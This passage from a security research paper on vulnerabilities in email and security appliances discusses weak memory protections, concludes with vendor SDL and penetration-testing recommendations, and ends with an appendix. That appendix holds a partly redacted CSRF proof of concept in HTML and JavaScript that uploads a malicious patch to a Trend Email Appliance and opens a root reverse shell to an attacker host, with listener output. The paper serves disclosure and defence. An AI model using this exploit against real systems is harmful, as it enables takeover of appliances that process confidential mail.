These issues were escalated to Trend in April 2012, and despite multiple communications with the 

vendor over an extended period, it is our understanding no that fixes are currently available or 

scheduled for release. 
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5 Further research 

Though the Web-UIs and other exposed protocols presented the most fruitful attack vectors, these 

were not the only areas where potential vulnerabilities exist. As mentioned previously the underlying 

operating-system of Security Appliances was typically poorly secured. In addition, poor coding 

practices in compiled binaries were sometimes found, and missing kernel memory-protection 

features introduced further risk from potential memory corruption vulnerabilities, as did old third-party 

code and packages. 

These are areas for further research as for example in the case of a Security Appliance which scans 

for viruses, spam and banned-content in email; it may be possible that unhandled exceptions in the 

processing of corrupted/unexpected email content could result in remote code-execution 

vulnerabilities. 

A brief analysis of some compiled binaries and kernel protections for the Trend Email Appliance are 

show below, here using checksec.sh
12

, a free tool for assessing Linux OS and binaries for memory 

corruption protections. Several kernel-level protection mechanisms were not enabled (or not present 

in this version of Linux). 

 

 

Figure 18: An example showing lack of OS memory protections 

Binaries were often compiled with old compiler versions and additional protections were not included 

because secure compile options were not chosen at compile time. 

                                                     
12

 http://www.trapkit.de/tools/checksec.html 

http://www.trapkit.de/tools/checksec.html
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Figure 19: An example showing poor compile options 

Examining individual binaries it can be seen that insecure versions of functions were in use. 

 

 

Figure 20: An example of some basic checks for insecure functions in the binaries 

Microsoft has list of “banned functions”
13

 (insecure C functions) for the Windows platform, similarly 

these apply to other platforms. 

 

 

  

                                                     
13

 http://msdn.microsoft.com/en-us/library/bb288454.aspx 

http://msdn.microsoft.com/en-us/library/bb288454.aspx
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6 Conclusion 
 

In this paper we have discussed various vulnerabilities NCC identified in popular Security Appliances 

in 2012, and have seen examples of how these vulnerabilities could be realistically exploited – which 

could result in an attacker gaining highly privileged access to systems which process confidential 

data. 

 

Identifying these vulnerabilities and developing associated exploits was not difficult using common 

tools, vulnerability classes and exploitation techniques. Similar issues have been observed before by 

other researchers in other products, and almost all the techniques and tools used for the research 

were freely available and in the public domain for several years. 

 

The most surprising finding was that various IT Security Vendors do not appear to follow Secure 

Development Lifecycles to minimize the likelihood of these common classes of issues appearing in 

their products. Also, based on our discussions, a small number of vendors seemed unable to 

understand the significance of some issues, or to produce fixes in a reasonable timeframe. There 

was a large disparity with some vendors fixing all issues within 3 months, and other vendors not 

addressing very similar issues after nearly a year. 

 

From a product-benefit perspective; one of the clear advantages of deploying appliances rather than 

software products, is that the management of the underlying OS and third-party applications should 

be taken care of by the vendor so the customer does not have the burden of most of this patch-

management work. However, if this maintenance is not happening because the vendor is not 

regularly patching packages on their Security Appliance this introduces risks that the appliance 

customer has very little control over.  

 

If IT Security Vendors struggle to prevent these vulnerabilities from occurring in Security Appliances, 

or perform adequate periodic maintenance and testing, and investigate/fix issues when they are 

reported, this introduces considerable risk to their customers. 

 

The evolution of solutions 

 

Over time various security solutions have developed from software products, to appliances, to virtual 

appliances, to managed services and cloud-based services. When cloud-based and managed 

services are deployed, it is my experience that providers often use Virtual Security Appliance 

products to provide these services (occasionally wrapped with an additional management framework 

layer) but essentially these same Virtual Security Appliance products and their associated can be 

present in cloud-based services. 

 

 

7 Recommendations for product vendors 
 

This research shows that all software and hardware vendors no matter which sector they operate in 

need to consider security and the risk of potential vulnerabilities. 

 

Retrospective identification and remediation of vulnerabilities in applications can be a time-

consuming and costly exercise with research proving that it is far easier to build a secure application 

than to fix an insecure one. 

 

The Security Development Lifecycle (SDL) is the industry-leading software security assurance 

process which was developed with the aim of producing more secure software which can withstand 
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malicious attacks. The SDL requires security and privacy measures during each stage of a product's 

development and a final review before the software is released. 

 

The SDL represents a balanced and sensible approach and introduces stringent security 

requirements for the use of technologies at the design and implementation phases of a project, 

ensuring that insecure or inappropriate methods cannot be used. It also provides an invaluable guide 

for software developers when establishing a minimum security development policy and offers a 

toolkit for implementing this standard, without disrupting the core business of producing quality 

software applications. 

 

Two good examples of such Security Development Lifecycles include Microsoft’s SDL
14

 and the 

Software Security Framework
15

 supported by BSIMM
16

. While the use of a Security or Secure 

Development Lifecycle incurs a higher upfront cost compared to not
17

 it reduces the likelihood of a 

product entering into an all too common vulnerability lifecycle
18

 after release. 

 

At a high level; security should be considered throughout product development and the extended 

product lifecycle, for example: 

 

 Requirements - Reviewing requirements to highlight those that have a security or privacy 
impact, and suggesting new security related requirements. 

 Design and Architecture - Reviewing existing application designs, architectures and data 
flows to highlight security issues prior to development beginning, or before future changes. 
Additionally, defence-in-depth design or architecture suggestions can be confirmed. 

 Technology selection - Providing security advice around development language and 
framework selection to reduce the burden of addressing in-depth common security issues 
during the development cycle. 

 Development – Writing secure code and performing security focused code-reviews to 
identify vulnerabilities during development. 

 Testing - performing end-to-end security testing and validation of the application or solution 
security. 

 Sustainment - Where security issues are found post-release, provide processes and 
procedures to allow; escalation and investigation, patches to be developed, customers 
informed and updates deployed. 

 

Other important components in software security include ensuring all staff involved in product 

development are adequately trained. 

 

Application and Solution Penetration Testing 

 

Experience shows that products which have regular third-party security testing improve over time. 

From a testing perspective it is important that Security Appliances (and other security products) 

undergo both Solution Penetration Testing and Application Security Testing to assess the resilience 

of security controls. 

 

It is also important to simulate sophisticated attempts in breaching product security and identify ways 

that an attacker might gain unauthorised access. This is a different skill-set to normal product testing 

so it is important to seek external help in the form of highly skilled penetration testers who have 

                                                     
14

 http://www.microsoft.com/security/sdl/default.aspx 
15

 http://www.informit.com/articles/article.aspx?p=1271382 
16

 http://bsimm.com/ 
17

 http://recxltd.blogspot.co.uk/2012/01/cost-of-following-sdl.html 
18

 http://recxltd.blogspot.co.uk/2011/12/breaking-inevitable-nichevertical.html 

http://www.microsoft.com/security/sdl/default.aspx
http://www.informit.com/articles/article.aspx?p=1271382
http://bsimm.com/
http://recxltd.blogspot.co.uk/2012/01/cost-of-following-sdl.html
http://recxltd.blogspot.co.uk/2011/12/breaking-inevitable-nichevertical.html
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expertise in identifying new security vulnerabilities. 

 

Specifically this paper shows that it is important to consider attacks from (or via) valid authenticated 

users and administrators, for example reflective attacks via the administrator’s browser, and also to 

consider creative attacks which link together multiple vulnerabilities to form powerful attack vectors. 

 

8 Appendix 
 

Redacted PoC code to gain a shell via a CSRF file upload in the Trend Email Appliance (tested 

successfully on the latest version of Firefox
19

) 

 

<!DOCTYPE html>  

<!-- 

File upload/restore via CSRF to abuse the patching function and get a reverse-

shell as root for the attacker 

 

http://192.168.1.116/trend-csrf3.html 

 

Victim appliance = https://192.168.1.114/ 

 

Attacker’s system = 192.168.1.116 

 

Resulting shell: 

 

nc -lnvvp 25 

listening on [any] 25 ... 

connect to [192.168.1.116] from (UNKNOWN) [192.168.1.114] 59199 

id 

uid=0(root) gid=0(root) 

groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 

--> 

 

<html>  

<head> 

<meta charset=utf-8 /> 

</head> 

<body> 

<h1>A fake product help page</h1> 

(or whatever)<br><br><br> 

Stuff is happening to your product in the background. Did you notice? 

<script> 

function rawUpload(file, fileName) { 

    var reader = new FileReader(); 

    reader.onload = function(e) { 

     fileUpload(e.target.result, fileName) 

    }; 

    reader.readAsBinaryString(file); 

} 

 

if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined') { 

 XMLHttpRequest.prototype.sendAsBinary = function(datastr) { 

     function byteValue(x) { 

         return x.charCodeAt(0) & 0xff; 

     } 

     var ords = Array.prototype.map.call(datastr, byteValue); 

     var ui8a = new Uint8Array(ords); 

     this.send(ui8a.buffer); 

 } 

} 

                                                     
19

 The latest version of Firefox tested was 19.0 at the time of writing 
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function doInit1() { 

   xhr = new XMLHttpRequest(); 

   xhr.open("GET", uri0, true); 

   xhr.withCredentials = "true"; 

   xhr.send(); 

   return true; 

} 

 

function fileUpload(fileData, fileName) { 

   var fileSize = fileData.length, 

     boundary = "---------------------------14970888171836592595414239021", 

     xhr = new XMLHttpRequest(); 

    

   xhr.open("POST", uri1, true); 

   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + 

boundary); 

   xhr.withCredentials = "true"; 

 

   var body = "--" + boundary + "\r\n"; 

   body += 'Content-Disposition: form-data; name="patchFile"; filename="' + 

fileName +'"\r\n'; 

   body += 'Content-Type: application/gzip\r\n\r\n'; 

   body += fileData + "\r\n"; 

   body += "--" + boundary + "--"; 

    

   xhr.sendAsBinary(body); 

   return true; 

} 

 

 

function fileInstall(fileName) { 

   var boundary = "---------------------------19683618901248499550463435785", 

   xhr = new XMLHttpRequest(); 

   xhr.open("POST", uri2, true); 

   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + 

boundary); 

   xhr.withCredentials = "true"; 

  

   var body = "--" + boundary + "\r\n"; 

   body += 'Content-Disposition: form-data; name="view_eula"\r\n\r\n'; 

   body += "Update\r\n"; 

   var body = "--" + boundary + "\r\n"; 

   body += 'Content-Disposition: form-data; name="selectedHost"\r\n\r\n'; 

   body += "1\r\n"; 

   body += "--" + boundary + "--"; 

   xhr.sendAsBinary(body); 

   return true; 

} 

 

function doShell() { 

   xhr = new XMLHttpRequest(); 

   xhr.open("GET", uri3, true); 

   xhr.withCredentials = "true"; 

   xhr.send(); 

   return true; 

} 

 

 

// hexdump -v -e '"\\""x" 1/1 "%02x" ""' mypatch.tar.gz 

 

var myfile = "mypatch.tar.gz", uri0 = 

"https://192.168.1.114:8445/XXXRedactedXXX.imss", uri1 = 

"https://192.168.1.114:8445/XXXRedactedXXX.imss", uri2 = 

"https://192.168.1.114:8445/XXXRedactedXXX.imss", uri3 = 
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"https://192.168.1.114:8445/XXXRedactedXXX.imss", c = 

"\x1f\x8b\x08\x00\x1d\xd6\xf1\x50\x00\x03\xed\xd6\x5b\x6b\xdb\x30\x14\x00\x60\x3f\

xeb\x57\x9c\x51\xe8\xb6\x17\x5b\x52\xec\x64\x83\x79\xd0\x6e\x63\x04\x76\x83\xa4\ 

 

XXXRedactedXXX 

 

\xf4\x70\x09\xb6\xd5\xa1\xc5\xf2\x1a\xcd\x73\x0f\x3b\x55\xfd\xac\xad\x75\xf0\xe2\x

b1\xfa\x25\x7b\x8f\xbe\x72\xba\x0f\xda\x9a\xf2\x5f\xce\x0e\x60\x0d\x84\x06\x41\xc5

\x33\xa7\x56\x31\xec\x69\x67\xdb\xb1\xc7\x32\xd6\xb0\xaf\xae\x46\x57\xbe\x6b\xe2\x

6c\xd8\x66\xfa\x05\xad\x4d\x40\xe7\x86\x69\xa0\x2d\xee\x43\x79\x15\xfb\x5a\x7f\xde

\x6c\xc0\xa3\xbb\xd7\x15\xfa\x38\xd5\x0e\xed\x10\xca\x05\xe7\xec\x66\xfd\xb4\x41\x

79\x92\x5d\x44\x08\x21\x84\x10\x42\x08\x21\x84\x10\x42\x08\x21\x84\x10\x42\x08\x21

\x67\xf7\x00\x5d\xd1\x9d\x10\x00\x28\x00\x00"; 

 

doInit1(); 

setTimeout("fileUpload(c, myfile)", 1000); 

setTimeout("fileInstall(myfile)", 5000); 

setTimeout("doShell();alert('Yep, you got owned')", 6000); 

</script> 

</body> 

</html> 

 

 

Figure 21: Spoofed file-upload via CSRF, to abuse the patch function and provide an external attacker with a reverse shell 

 


